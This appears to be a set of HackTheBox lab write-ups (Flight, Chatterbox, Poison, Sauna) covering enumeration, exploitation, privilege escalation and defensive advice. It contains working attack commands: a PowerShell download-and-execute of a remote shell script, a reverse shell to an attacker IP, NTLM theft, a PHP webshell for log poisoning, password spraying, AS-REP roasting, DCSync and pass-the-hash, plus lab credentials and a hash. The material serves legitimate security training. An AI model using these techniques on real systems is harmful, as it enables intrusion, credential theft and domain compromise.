8. Always Re-Enumerate Web Directories Locally

Even if web enumeration was done earlier, it must be repeated after gaining access.

Key directories:

C:\inetpub\ → IIS default

C:\xampp\htdocs\ → XAMPP

These are the Windows equivalents of /var/www

9. Chisel Is Essential Without SSH

Windows environments often lack SSH.

To access internal services:

Use Chisel for port forwarding

Expose localhost services to your attacker machine

This is critical for interacting with internal-only applications.

10. Identifying Backend Technology Is Critical

Using:

curl -I http://target

I identified:

X-Powered-By: ASP.NET

This determines:

What payloads will work

What type of webshell to use

In this case:

PHP payloads would fail

ASPX webshells were required

11. SMB Is a Reliable File Transfer Method

With write access:

SMB can be used to:

Upload tools

Transfer binaries

Place webshells directly

Simple, stable, and often the easiest option.

12. IIS AppPool Identity Behavior

Important clarification:

IIS APPPOOL\DefaultAppPool is not SYSTEM

However, it can authenticate as the machine account over the network

This is why authentication appeared as:

G0$

This behavior enables advanced attacks.

13. Machine Accounts Can Be Abused for Kerberos Attacks

Once operating in a context that can act as a machine account:

Kerberos delegation can be abused

Tools like Rubeus can request tickets

Result:

.kirbi ticket obtained

Can be reused for authentication

14. Kerberos Ticket Reuse (Pass-the-Ticket)

Workflow learned:

Extract ticket (base64 → .kirbi)

Convert to .ccache

Export:

export KRB5CCNAME=ticket.ccache

Use with Kerberos-enabled tools

This allows authentication without needing credentials

Final Reflection

This machine reinforced a core principle:

Real attacks are built by chaining multiple small weaknesses together.

LFI → credentials

SMB → lateral movement

Web write → RCE

Internal services → escalation

Kerberos → domain takeover

Individually, these are minor Combined, they result in full compromise.

6. Defensive Insights

1. Improper Input Validation Enables LFI/RFI

The application passes user-controlled input directly into a file parameter (view) without proper validation.

Impact:

• Allows Local File Inclusion (LFI)

• Can escalate to Remote File Inclusion (RFI)

Mitigation:

• Enforce strict input validation and whitelisting

• Never pass user input directly into file operations

• Restrict file access to predefined safe directories

2. Outbound SMB Authentication Leads to Credential Leakage

The server is able to initiate SMB connections to external systems.

Impact:

• Attackers can coerce authentication and capture NetNTLMv2 hashes

Mitigation:

• Block outbound SMB (TCP 445)

• Enforce SMB signing

• Disable NTLM where possible and prefer Kerberos

3. Over-Permissive SMB Shares Enable NTLM Theft

Users are granted write access to SMB shares that are accessible by others.

Impact:

• Attackers can plant malicious files (.lnk, .url, .scf)

• Leads to credential theft when accessed

Mitigation:

• Apply least privilege to all SMB shares

• Restrict write access to only what is absolutely necessary

• Monitor for suspicious file types and activity

4. Password Reuse Enables Lateral Movement

Multiple accounts reuse the same password.

Impact:

• A single compromised credential leads to multiple compromised users

Mitigation:

• Enforce unique passwords per account

• Implement strong password policies

• Use account lockout protections

5. Web Root Write Access Leads Directly to RCE

A user is allowed to write directly to a web-accessible directory.

Impact:

• Attackers can upload webshells and execute arbitrary code

Mitigation:

• Remove write access to web roots for non-admin users

• Separate content management from execution paths

• Monitor for unexpected file uploads

6. Internal-Only Services Are Not Safe by Default

A web service running on localhost (port 8000) is assumed to be safe because it is not externally exposed.

Impact:

• Attackers with a foothold can access it via port forwarding

• Internal services become escalation vectors

Mitigation:

• Treat internal services as untrusted

• Require authentication and authorization

• Restrict access with firewall rules

7. IIS Configuration Allows Dangerous Execution Context

The IIS application allows execution of user-controlled ASPX files.

Impact:

• Attackers gain code execution within the IIS AppPool context

Mitigation:

• Disable script execution where not required

• Restrict which directories can execute code

• Run application pools with minimal privileges

8. Lack of Network Segmentation Enables Domain Access

The compromised system can freely communicate with domain services.

Impact:

• Enables Kerberos abuse and DCSync attacks

Mitigation:

• Implement network segmentation

• Restrict communication between web servers and domain controllers

• Enforce strict firewall policies

9. Kerberos Delegation Can Be Abused

The environment allows delegation abuse via machine account context.

Impact:

• Attackers can obtain Kerberos tickets and perform DCSync

Mitigation:

• Audit and restrict delegation settings

• Monitor Kerberos activity for anomalies

• Limit privileges assigned to machine accounts

10. Lack of Monitoring Allows Full Attack Chain Execution

There is no effective detection across multiple attack stages.

Impact:

• Attackers move from initial access to full domain compromise undetected

Mitigation:

• Implement centralized logging (SIEM)

• Monitor for:

  • Suspicious SMB authentication

  • Webshell uploads

  • Abnormal process execution

• Enable PowerShell logging and auditing

Final Defensive Perspective

This environment is not compromised by one major flaw—it is compromised by a chain of small, preventable issues:

• Weak input validation

• Over-permissioned access

• Poor credential hygiene

• Trust in internal services

• Lack of monitoring

Security breaks down when basic controls are ignored. Tighten the fundamentals, and the entire attack chain falls apart.

7. Useful Commands

VHost Fuzzing (ffuf)

ffuf -u http://flight.htb -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

LFI Testing

http://school.flight.htb/index.php?view=C:\Windows\win.ini

SMB Enumeration

nxc smb 10.129.9.50 -u svc_apache -p 'S@sS!K0x+13' --users

Password Spraying

nxc smb 10.129.9.50 -u user.txt -p 'S@sS!K0x+13' --continue-on-success

NTLM Theft

python3 ntlm_theft.py -g all -s 10.10.14.123 -f neo

RunasCs Reverse Shell (c.bum)

.\r.exe c.bum Tikkycoll_431012284 -r 10.10.14.123:9001 powershell.exe

Chisel Port Forward

.\chisel.exe client 10.10.14.123:8001 R:8000:127.0.0.1:8000

Rubeus Ticket Delegation Attack

.\rubeus.exe tgtdeleg /nowrap

Convert Ticket

Executed:

base64 -d ticket.b64 > ticket.kirbi

impacket-ticketConverter ticket.kirbi ticket.ccache

export KRB5CCNAME=ticket.ccache

BloodHound Collection (NetExec)

nxc ldap 10.129.9.50 -u 'svc_apache' -p 'S@sS!K0x+13' --bloodhound --collection All

Download and Execute PowerShell Script In Memory

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.123/shell.ps1')"

Machine Name: Chatterbox
Platform: HackTheBox
Operating System: Windows

Objective:
Chatterbox is a Windows-based Hack The Box machine that exposes several typical Windows networking services along with an unusual chat application running on a non-standard port. The goal is to enumerate exposed services, identify potential vulnerabilities in the running software, gain an initial foothold on the system, and ultimately escalate privileges to obtain full administrative access.

Tools Used

• Rustscan- Port scanning

• Nmap - Port scanning

• NetExec (nxc) - Enumeration

• Searchsploit - Enumeration

• Metasploit - Exploitation

• Impacket (PsExec) - Post exploitation shell

2. Enumeration

Initial Scanning

As always, I began the engagement with an Nmap scan to identify open ports and running services on the target machine.

The scan revealed several Windows services along with a web interface tied to a chat application.

Key Observations

• Ports 135, 139, and 445 confirmed standard RPC/SMB services

• The system is running Windows 7 Professional SP1

• A custom AChat service is exposed on:

  • 9255 (HTTP)

  • 9256 (AChat service port)

• The HTTP service did not return a functional web app—just a server identifier

SMB Enumeration

I attempted anonymous SMB enumeration using NetExec:

nxc smb <target> -u '' -p '' --shares

This resulted in:

• Access Denied

• No share enumeration possible

This indicated that anonymous access was not allowed, so SMB was not immediately useful for initial access.

Service Enumeration (AChat)

Since SMB didn’t yield results, I shifted focus to the AChat service, which stood out as:

• Non-standard

• Likely custom or third-party software

• High probability of known vulnerabilities

Interacting with the HTTP service only returned the server banner:

AChat chat system httpd

No additional functionality was exposed, reinforcing that this was not meant for browser interaction.

Vulnerability Research

I used Searchsploit to look for known vulnerabilities:

searchsploit achat

This revealed:

• AChat 0.150 beta7 - Remote Buffer Overflow

• Metasploit module available:

  • windows/misc/achat_bof

At this point, this was clearly the most promising attack vector.

3. Exploitation

Foothold

I used the Metasploit module targeting the AChat buffer overflow:

This successfully triggered the vulnerability and resulted in a reverse shell:

Shell Access

After gaining access, I verified my context:

Output:

chatterbox\alfred

This confirmed I had a low-privileged user shell.

4. Privilege Escalation

Initial Local Enumeration

Following my standard Windows privilege escalation methodology:

Step 1: Enumerate Users

Discovered users:

• Administrator

• Alfred (current user)

This confirmed a simple environment with a clear escalation target.

User Context

whoami

chatterbox\alfred

Privilege Escalation Path

Step 2: Check for AutoLogon Credentials

I queried the Winlogon registry key:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

This revealed:

• DefaultUserName: Alfred

• AutoAdminLogon: 1

• DefaultPassword: Welcome1!

This is a classic misconfiguration where credentials are stored in plaintext in the registry.

Root/System Access

Using the recovered credentials, I leveraged Impacket’s PsExec:

impacket-psexec administrator@<target>

After authentication, I obtained a SYSTEM shell:

whoami

nt authority\system

This completed the privilege escalation.

5. Lessons Learned

Key Takeaways

1. Always prioritize non-standard services during enumeration

   • The AChat service was the intended entry point and immediately exploitable

2. Vulnerability research is critical

   • A simple searchsploit search led directly to a working exploit

3. Don’t rely solely on SMB enumeration

   • Even when SMB fails, other services may provide easier access

4. Always follow a structured privesc methodology

   • Systematically checking registry keys led directly to credentials

5. AutoLogon credentials are extremely dangerous

   • Storing plaintext passwords in the registry is effectively handing over admin access

Attacker Insights

• Buffer overflow vulnerabilities in legacy applications remain a high-value attack vector

• Windows registry misconfigurations are often low-effort, high-reward escalation paths

• Combining public exploits + poor credential storage leads to rapid compromise

6. Defensive Insight

Hardening Opportunities

• Remove or patch vulnerable software like AChat

• Disable AutoAdminLogon

• Never store plaintext credentials in the registry

• Restrict unnecessary services and ports

Detection Opportunities

• Monitor for:

  • Unusual connections to uncommon ports (9255/9256)

  • Exploit signatures targeting known vulnerable services

• Alert on:

  • Registry queries involving Winlogon keys

  • Use of administrative tools like PsExec

Preventive Controls

• Enforce secure credential storage policies

• Apply regular patching and vulnerability management

• Limit administrative access and enforce least privilege

• Use EDR solutions to detect exploitation behavior

Useful Commands

Enumeration Commands

nmap -sC -sV <target>
nxc smb <target> -u '' -p '' --shares
searchsploit achat

Exploitation Commands

use exploit/windows/misc/achat_bof
run

Privilege Escalation Commands

whoami
cd C:\Users
dir

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

impacket-psexec administrator@<target>

Machine Name: Poison
Platform: HackTheBox
Operating System: FreeBSD
Target IP:
Objective:

This target appears to expose a FreeBSD-based system hosted on HackTheBox. The goal of the engagement is to perform enumeration, identify attack vectors, gain an initial foothold on the system, and ultimately escalate privileges to obtain full administrative control of the machine. Initial reconnaissance indicates a relatively small attack surface, suggesting the exploitation path will likely rely on careful service enumeration rather than broad network exposure.

2. Enumeration

Network Enumeration

As always, I began the engagement with a standard Nmap service and version scan to identify exposed services on the target system.

The scan revealed two open ports, indicating a fairly limited attack surface.

Open Ports Identified

The SSH service appears to be a standard OpenSSH implementation on FreeBSD, which typically requires valid credentials and therefore does not present an immediate attack vector during early enumeration.

The more interesting discovery is port 80, which is hosting an Apache web server running PHP. Web applications frequently expose misconfigurations or vulnerable functionality, making them a strong candidate for initial exploitation.

Given the limited number of exposed services, I decided to prioritize enumeration of the web application running on port 80 as the most promising entry point.

Service Enumeration

The Nmap service detection confirms the following details about the web service:

• Apache httpd 2.4.29

• PHP 5.6.32

• Operating System: FreeBSD

The presence of PHP suggests that the site likely contains dynamic server-side functionality.

Web Enumeration

Upon visiting the web application at the root page, I was presented with a very simple interface designed to test local PHP scripts.

The page displayed several available scripts that could be executed through the application:

The interface contained a field labeled "Scriptname" to load from the available scripts, the most interesting of which was a script called listfiles.php. I used this file to test and see what would be returned.

Submitting the request loaded a page that returned a directory listing from the web root, showing the following files:

One file immediately stood out:

pwdbackup.txt

The name strongly suggested the presence of credential data or a password backup, making it a high-value target.

Navigating directly to the file through the browser revealed a long encoded string along with a message:

"This password is secure, it's encoded atleast 13 times, what could go wrong really."

The content appeared to be Base64 encoded data, and the message implied the string had been encoded multiple times.

Given this hint, the logical next step was to decode the string repeatedly to reveal the underlying credential.

so I wrote a quick loop in Bash to repeatedly decode it.

data=\((cat pass.b64); for i in {1..13}; do data=\)(echo \(data | tr -d ' ' | base64 -d); done; echo \)data

After the decoding process completed, the final output revealed the credential:

Charix!2#4%68&()

At this point I had successfully recovered a plaintext password. Since SSH is exposed on port 22, this credential could potentially be used to gain shell access.

However, I still did not have a valid username associated with this password. Rather than blindly guessing usernames against SSH, I decided the smarter approach was to continue enumerating the web application on port 80 to try to identify a user account that might correspond to this credential.

Earlier when exploring the test page, I noticed something important about how the application loaded scripts.

The request generated by the page looked like this:

browse.php?file=listfiles.php

The value of the file parameter was directly controlling which file the server attempted to load. Whenever a web application allows a user-supplied parameter to reference files on the system, it immediately becomes a prime candidate for a Local File Inclusion (LFI) vulnerability.

To test whether the parameter was vulnerable, I attempted to access a well-known system file:

The server returned the contents of the /etc/passwd file, confirming that the application was indeed vulnerable to Local File Inclusion.

The output revealed the list of system users on the machine.

After confirming the Local File Inclusion vulnerability by successfully retrieving /etc/passwd, I downloaded the returned file locally so I could analyze it more easily.

Rather than manually scanning through the entire file, I filtered the results to identify accounts that actually had interactive shells, since those are the only users that can realistically be used for SSH access.

I did this with the following command:

cat user.txt | grep "sh$"

This filters for lines ending in sh, which typically indicates a valid login shell such as /bin/sh, /bin/bash, or /bin/csh.

The output revealed only two users on the system with interactive shells:

This significantly narrowed the potential login targets. Since the root account typically cannot be accessed directly over SSH in most configurations, the most realistic user to target was charix.

Earlier during enumeration, I had already recovered a password from the encoded backup file:

Charix!2#4%68&()

At this point I had a strong candidate credential pair:

Username: charix
Password: Charix!2#4%68&()

With SSH exposed on port 22, the next logical step was to attempt authentication using these credentials to obtain an initial shell on the system.

3. Exploitation

Initial Access

Using the credentials discovered during enumeration, I attempted to authenticate to the target system via SSH.

ssh charix@10.129.1.254

After supplying the recovered password, authentication succeeded and I obtained a shell as the charix user.

charix@Poison:~ %

The login banner confirmed the system was running:

FreeBSD 11.1-RELEASE

At this stage I had successfully achieved initial access to the target system as a low-privileged user, allowing me to begin local enumeration in search of a privilege escalation path.

4. Privilege Escalation

Shell Stabilization

After obtaining an initial shell as charix, I began following my Linux privilege escalation methodology.

The first step is always to verify the execution context and confirm the user privileges.

whoami

Output:

charix

Next, I checked the user’s UID and group memberships.

id

This confirms the user context and sometimes reveals membership in privileged groups that may allow privilege escalation.

I then checked whether the user could execute any commands with elevated privileges through sudo.

sudo -l

No useful sudo privileges were returned for this user, so there was no immediate privilege escalation path through sudo.

System Enumeration

Following my privilege escalation checklist, the next step was to inspect the user’s home directory for interesting files.

While listing the contents of the directory, I discovered the following archive:

secret.zip

I extracted the archive to inspect its contents.

unzip secret.zip

The archive contained a file named:

secret

Running the file command revealed the following:

file secret

Output:

secret: Non-ISO extended-ASCII text, with no line terminators

To better understand the file’s contents, I examined the raw bytes.

cat secret | hexdump -C

Output:

00000000  bd a8 5b 7c d5 96 7a 21

The file appeared to contain binary data rather than readable text, which suggested it might represent some type of authentication token or encoded value. Since it was not immediately clear how the file would be used, I continued enumerating the system.

Next, I checked for services listening on the host using netstat to identify anything bound only to localhost.

netstat -an -p tcp

The results revealed several listening services. Most notably, I observed the following ports bound only to localhost:

127.0.0.1:5801
127.0.0.1:5901

Ports in the 5800–5900 range are commonly associated with VNC (Virtual Network Computing) services used for remote graphical desktop access.

To confirm which process was responsible for these ports, I inspected the process list.

ps -auwwx | grep vnc

This revealed the following process running under the root user:

root  529  0.0  0.9 23620 9036 v0- I  12:54  0:00.07  Xvnc :1 -desktop

This confirmed that a VNC server was running as root, but it was only accessible locally.

Privilege Escalation Vector

The presence of the Xvnc process running as root suggested a potential escalation path.

Xvnc is part of the X Window System, which provides graphical desktop functionality on Unix-like systems. Authentication for X sessions is typically handled through Xauthority cookies, which are secret tokens used to authenticate clients connecting to the graphical server.

These cookies are often stored as binary values, which immediately reminded me of the mysterious binary file discovered earlier in secret.zip.

This strongly suggested that the extracted file might contain the authentication token required to access the root VNC session.

Since the service was bound only to localhost, I created an SSH tunnel to forward the VNC port to my local machine.

ssh -L 5901:127.0.0.1:5901 charix@10.129.1.254

This allowed me to access the VNC service running on the target machine.

Using the authentication token from the extracted file, I attempted to connect to the VNC session.

The attempt was successful and granted access to the root user’s graphical desktop session.

Root Access

Once connected to the VNC desktop session, I opened a terminal window and confirmed my privileges.

At this point I had successfully escalated privileges and obtained full root access on the system.

5. Lessons Learned

Key Takeaways

1. Thoroughly test every piece of functionality exposed by a web application

   One of the biggest lessons from this machine was the importance of fully interacting with every feature exposed by a web application. The page we encountered was designed to test local PHP scripts and listed multiple scripts that could be executed. If I had only tested the first script and moved on, I never would have discovered the pwdbackup.txt file. Carefully testing each script and observing the results ultimately revealed the encoded credential that started the attack chain.

2. Pay close attention to the structure of web requests

   During testing I noticed that the application passed filenames through a query string parameter. Anytime you see parameters, file paths, or dynamic values in a request, it should immediately raise suspicion because those inputs are often attacker-controlled. Observing how the application constructed requests like:

   browse.php?file=listfiles.php
   

   revealed that the file parameter directly controlled which file the application loaded. Testing that parameter led directly to a Local File Inclusion vulnerability, which allowed me to retrieve /etc/passwd and identify valid system users.

3. Local File Inclusion can lead to Remote Code Execution through log poisoning

   Another important concept I learned from this machine was log poisoning as a method of turning LFI into Remote Code Execution.

   Once an LFI vulnerability is confirmed, the next step is to determine where server logs are stored, since logs often contain user-controlled data.

   On Apache systems this information can often be found in the Apache configuration file:

   /usr/local/etc/apache24/httpd.conf
   

   Reviewing this file revealed that the Apache access logs were stored at:

   /var/log/httpd-access.log
   

   The key trick here is understanding that certain values from every request made to the server are written directly into the access log, including HTTP headers.

   Using Burp Suite, it is possible to modify a request and place a PHP web shell inside a header field, commonly the User-Agent header.

   For example:

   <?php system($_GET['cmd']); ?>
   

   When the request is sent, this payload becomes written into the Apache access log. Because the application already allowed Local File Inclusion, I could then request the log file through the LFI vulnerability. When the log file is included by PHP, the injected code executes, giving remote command execution.

   This demonstrated how LFI vulnerabilities can often be escalated to full code execution if logs or other writable files can be included.

4. Checking the user’s home directory can reveal important artifacts

   During local enumeration, inspecting the user’s home directory revealed the file secret.zip. Even though the binary file extracted from it initially looked meaningless, it ultimately turned out to be the authentication token needed to access the root VNC session.

   This reinforces why checking a user's home directory early in privilege escalation is critical, since users frequently leave behind backups, credentials, or other sensitive files.

5. Enumerating local services can reveal hidden attack surfaces

   Using netstat revealed services listening only on localhost, including ports 5801 and 5901, which are commonly associated with VNC (Virtual Network Computing).

   These services would not have been visible externally during the initial Nmap scan, but once a foothold was obtained they became visible and ultimately led to the privilege escalation path.

6. Understanding VNC and X Window authentication mechanisms

   This machine introduced me to VNC services and the X Window system, which were new concepts for me. X Window uses authentication cookies to allow clients to connect to graphical sessions. The seemingly random binary file extracted from secret.zip was actually the authentication token required to connect to the running Xvnc session. Recognizing how this authentication mechanism worked made it possible to connect to the root graphical session and obtain full system access.

7. Knowing common configuration file locations is extremely useful

   Another takeaway from this box is the importance of knowing where important configuration files typically live. For Apache on FreeBSD systems, the configuration file is commonly located at:

   /usr/local/etc/apache24/httpd.conf
   

   Understanding where these files are stored makes it much easier to locate useful information such as log file locations, virtual host configurations, and other security-relevant settings.

8. Learning operational skills like secure file transfer is valuable

   During the process I also reinforced the usefulness of tools like scp for transferring files between the attacker machine and the target system. Being able to quickly move files off a target for analysis or upload tools when necessary is an important operational skill during penetration testing.

6. Defensive Insight

Security Improvements

1. Avoid exposing internal development utilities on production systems

   The web application on this system appeared to be a temporary script testing interface used for executing local PHP scripts. Development utilities like this should never be exposed on publicly accessible systems. These tools often assume trusted input and can introduce serious vulnerabilities when exposed to untrusted users. In this case, the testing interface directly allowed users to load scripts from the server, which ultimately led to a Local File Inclusion vulnerability.

2. Validate and sanitize all user-controlled file inputs

   The application accepted a user-controlled parameter that directly referenced files on the server:

   browse.php?file=<filename>
   

   Because the parameter was not properly validated, it allowed arbitrary file inclusion. Proper defenses should include:

   • Whitelisting allowed files

   • Rejecting absolute file paths

   • Restricting directory traversal

   • Avoiding dynamic file inclusion whenever possible

   Implementing strict input validation would have prevented attackers from requesting sensitive files such as /etc/passwd.

3. Sensitive files should never be stored in the web root

   The file pwdbackup.txt containing the encoded password was stored directly inside the web directory and could be accessed by anyone who discovered the path. Even though the password was encoded multiple times, encoding is not encryption and provides no real security.

   Sensitive data such as password backups or configuration files should never be placed inside publicly accessible directories.

4. Avoid storing credentials in reversible formats

   The password in this case was simply Base64 encoded multiple times, which provides no meaningful protection. Any attacker who recognizes the encoding can decode it quickly.

   Proper credential storage should involve:

   • Strong hashing algorithms such as bcrypt, scrypt, or Argon2

   • Salting hashes

   • Avoiding plaintext or reversible storage entirely

5. Restrict access to system logs and other sensitive files

   Because the application allowed arbitrary file inclusion, attackers could read server logs and other sensitive files. If log files are accessible through application functionality, they can be abused through techniques like log poisoning, which may lead to remote code execution.

   Applications should ensure log files and other sensitive system resources are never accessible through user-controlled file paths.

6. Restrict internal services to trusted users

   The VNC service running on ports 5801 and 5901 was bound only to localhost, which is good practice. However, once an attacker gains a foothold on the system, local-only services can still be abused if additional protections are not in place.

   Administrators should ensure that services such as VNC:

   • Require strong authentication

   • Do not run with unnecessary privileges (such as root)

   • Are protected with additional access controls where possible

7. Protect X Window authentication tokens

   The authentication cookie used by the Xvnc service was stored in a location accessible to a low-privileged user. Because this cookie acts as a trusted authentication token, anyone who obtains it can connect to the graphical session.

   Proper security practices should ensure that authentication tokens are protected with strict file permissions and are not accessible to unprivileged users.

8. Regular security audits and configuration reviews

   Several misconfigurations combined to create the full attack chain on this system. Regular security reviews of system configurations, file permissions, exposed services, and application behavior could have identified these weaknesses before they were exploited.

   Routine security auditing is essential for identifying issues such as:

   • Improper file permissions

   • Exposed development tools

   • Vulnerable web application functionality

   • Misconfigured services running with elevated privileges

Useful Commands

Below are some of the key commands used during enumeration, exploitation, and privilege escalation throughout the engagement.

Network Enumeration

Perform a service and version scan to identify open ports and services on the target.

nmap -sC -sV -p- <target-ip>

Identifying Users with Login Shells

After retrieving /etc/passwd through the LFI vulnerability, filtering the file helped identify users that actually have interactive shells.

cat user.txt | grep "sh$"

Inspecting Unknown Binary Data

The extracted file contained raw binary data which can be inspected using hexdump.

cat secret | hexdump -C

Enumerating Listening Services FreeBSD version

Checking for services bound to localhost can reveal hidden attack surfaces not visible during external scans.

netstat -an -p tcp

Identifying Running Processes FreeBSD version

This command helps identify which services are responsible for open ports.

ps -auwwx

Creating an SSH Tunnel

Because the VNC service was only accessible locally, an SSH tunnel was created to forward the port to the attacker machine.

ssh -L 5901:127.0.0.1:5901 charix@<target-ip>

Securely Copying Files from the Target

Files can be transferred from the target system to the attacker machine using scp.

scp charix@<target-ip>:/home/charix/secret.zip .

Machine Name: Sauna
Platform: HTB
Operating System: Windows
Objective: Gain initial access to the target, escalate privileges, and fully compromise the Active Directory environment.

Sauna is a Windows Active Directory target hosted on Hack The Box. The machine exposes several services typically associated with a domain controller, including Kerberos, LDAP, SMB, and RPC. During initial reconnaissance a web server was also discovered running IIS, which is somewhat unusual for a domain controller and therefore worth investigating further. The domain name and hostname are leaked during enumeration, providing useful information for further Active Directory attacks.

Tools Used

Nmap
Used for initial service discovery and version detection to identify exposed services on the target host.

NetExec (nxc)
Used extensively for Active Directory enumeration, including SMB share discovery, domain user enumeration, password spraying, and SMB spidering.

rpcclient
Used to attempt anonymous RPC enumeration of domain users.

Kerbrute
Used to perform Kerberos-based username enumeration to identify valid domain accounts.

Username Anarchy
Used to generate potential username permutations from employee names discovered on the website.

Impacket (GetNPUsers.py)
Used to perform AS-REP roasting against the fsmith account in order to obtain a crackable Kerberos hash.

John the Ripper
Used to crack the recovered AS-REP hash offline and recover the fsmith password.

Evil-WinRM
Used to authenticate to the target system and obtain a remote PowerShell shell using compromised credentials.

SharpHound / BloodHound
Used to enumerate Active Directory relationships, ACL permissions, and privilege escalation paths within the domain.

Impacket (secretsdump.py)
Used to perform a DCSync attack after discovering that the svc_loanmanager account had the GetChanges and GetChangesAll privileges over the domain object.

Impacket (psexec.py)
Used to perform a pass-the-hash attack using the recovered Administrator NTLM hash, resulting in a shell running as NT AUTHORITY\SYSTEM.

2. Enumeration

Active Directory Attack Checklist

1. Add FQDN to /etc/hosts

2. Enumerate SMB and attempt anonymous share access

Service Enumeration

As always, the first step is to perform a full port scan against the target to identify exposed services.

nmap -sC -sV -p- <target-ip>

The scan reveals several services that strongly indicate the host is operating as a Domain Controller.

The scan also reveals important Active Directory information:

Domain: EGOTISTICAL-BANK.LOCAL
Hostname: SAUNA

Because Active Directory authentication relies heavily on DNS and proper hostname resolution, we must first add the fully qualified domain name (FQDN) of the target to our /etc/hosts file before continuing with enumeration.

<target-ip> sauna.egotistical-bank.local sauna

This ensures our system can properly resolve the domain controller when interacting with Kerberos, LDAP, SMB, and other AD services.

SMB/ RPC Enumeration

With the domain information identified, the next step is to attempt anonymous SMB enumeration to determine whether the server allows unauthenticated access to shares.

Using NetExec, I attempted to enumerate SMB shares with null authentication.

The server responded indicating that null authentication is technically accepted, but share enumeration fails with an access error.

These results indicate that while SMB is reachable, anonymous enumeration of shares is restricted.

Since many Active Directory environments allow anonymous RPC enumeration, I attempted to enumerate domain users using rpcclient.

Inside the RPC shell, I attempted to enumerate domain users.

However, this attempt also fails with the following error:

NT_STATUS_ACCESS_DENIED

This confirms that anonymous RPC enumeration is also restricted on the domain controller.

Web Enumeration

Since direct enumeration of domain users is restricted, I shift my attention to the web server running on port 80.

The server is identified as Microsoft IIS 10.0, and browsing to the site reveals a simple marketing page for a fictional company called Egotistical Bank. The site appears to consist entirely of static HTML content, with no login functionality or interactive features.

While exploring the site, one page displays a list of company employees along with their full names.

Although the site itself does not present any obvious vulnerabilities, the presence of employee names is extremely useful from an attacker’s perspective. In many corporate environments, domain usernames are derived directly from employee names.

Because of this, I collect these names and use them to build a potential username wordlist.

User Enumeration

To generate possible username formats from the employee names, I used the tool Username Anarchy.

This tool generates common username permutations such as:

• fsmith

• fergus.smith

• smithf

• f.smith

With the generated username list, I then attempted Kerberos-based username enumeration using Kerbrute.

This technique works because Kerberos responses differ when a username exists versus when it does not exist, allowing valid users to be identified without needing a password.

The scan successfully identified a valid domain user:

VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL

This confirmed that the fsmith account exists within the domain.

3. Exploitation

Credential Discovery

Step 6 — AS-REP Roasting

Once a valid username is identified but no password is known, step 6 of my AD checklist is to attempt AS-REP roasting against the account.

This returned a Kerberos AS-REP hash for the user.

I saved the hash and cracked it offline using John the Ripper.

The password was successfully recovered:

Thestrokes23

This resulted in the compromise of the fsmith domain account.

4. Privilege Escalation

Step 7 — Check for WinRM Access

After compromising a user account, the first thing I check is whether the account has WinRM access. If available, WinRM allows us to obtain a remote shell on the target system, which significantly broadens the attack surface and makes it easier to transfer tools or binaries.

I tested the credentials using Evil-WinRM.

evil-winrm -i 10.129.7.13 -u fsmith -p 'Thestrokes23'

The authentication succeeded, confirming that fsmith has WinRM access.

Step 8 — Enumerate Domain Users

With valid credentials, I then enumerated all users in the domain using NetExec over SMB.

This revealed several domain accounts

I saved these users into a user list for further attacks.

Step 9 — Password Spraying

A common attack technique after compromising one user is to attempt password reuse against other accounts.

It is very common in enterprise environments for users or service accounts to reuse passwords.

Using the list of discovered users, I performed a password spray using the compromised password.

This revealed that the password was reused by another account:

EGOTISTICAL-BANK.LOCAL\HSmith : Thestrokes23

This resulted in the successful compromise of the HSmith account.

Step 10 — BloodHound Enumeration

Now that I had shell access to the machine, the next step in my methodology was to run BloodHound to identify potential Active Directory privilege escalation paths.

Using Evil-WinRM, I uploaded the SharpHound collector to the compromised host and executed it to gather Active Directory enumeration data.

After the collection completed, SharpHound generated a compressed archive containing the collected data.

I then used the download feature in Evil-WinRM to retrieve the archive to my attacking machine.

After importing the dataset into BloodHound, I analyzed the relationships between users, groups, and domain objects.

However, the compromised accounts did not have any useful privileges, group memberships, or outbound object control that could be abused for privilege escalation.

Because BloodHound did not reveal a viable path forward, I decided to move on to SMB enumeration to continue searching for additional attack vectors.

I attempted additional enumeration via SMB using the spider_plus module in NetExec.

nxc smb 10.129.7.13 -u hsmith -p 'Thestrokes23' -M spider_plus

Surprisingly, this returned no accessible files, making SMB a dead end.

At this point I returned to my WinRM shell to perform deeper local enumeration.

Step 11 — Search for AutoLogon Credentials

When performing local enumeration from a compromised Windows host, one of the quickest checks is to search for AutoLogon credentials stored in the registry.

AutoLogon is a Windows feature that allows a system to automatically log in a user account at startup. When this feature is configured, the credentials are often stored in the registry under the Winlogon configuration keys. If misconfigured, these credentials can be retrieved by attackers and used to compromise additional accounts.

To check for this, I queried the following registry location using PowerShell:

The output revealed several Winlogon configuration parameters. Two entries immediately stood out:

DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : MoneyMakestheworldgoround!

This indicates that the system is configured to automatically log in using the svc_loanmgr service account, and the password for that account is stored directly in the registry.

This misconfiguration provided valid credentials for a new domain service account, giving me another potential foothold for continuing the attack chain.

Identify DCSync Privileges

With the credentials for svc_loanmgr, I returned to BloodHound to analyze the permissions associated with this account.

Immediately, a critical privilege stood out: the account had both GetChanges and GetChangesAll permissions over the domain object.

In Active Directory, these permissions allow an account to replicate directory changes. When both permissions are present, the account can perform a DCSync attack.

A DCSync attack allows an attacker to impersonate a domain controller and request password hashes for any account in the domain directly from Active Directory. This effectively grants the ability to dump credentials for high-value accounts such as Administrator and krbtgt.

Because svc_loanmgr possessed these privileges, it was possible to directly retrieve domain credential hashes.

Dumping Domain Password Hashes

To perform the DCSync attack, I used Impacket's secretsdump tool with the compromised service account credentials.

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.129.7.13

Using the DRSUAPI method, the tool successfully retrieved domain password hashes from the domain controller.

Among the results was the Administrator NTLM hash:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::

Pass-the-Hash to Obtain SYSTEM

With the Administrator NTLM hash in hand, I used Impacket's psexec tool to perform a pass-the-hash attack against the domain controller.

The attack succeeded and spawned a shell running as NT AUTHORITY\SYSTEM, confirming full compromise of the target system.

This provided complete control over the domain controller and concluded the privilege escalation phase of the attack.

5. Lessons Learned

Key Attacker Takeaways

1. Kerberos User Enumeration is Extremely Valuable

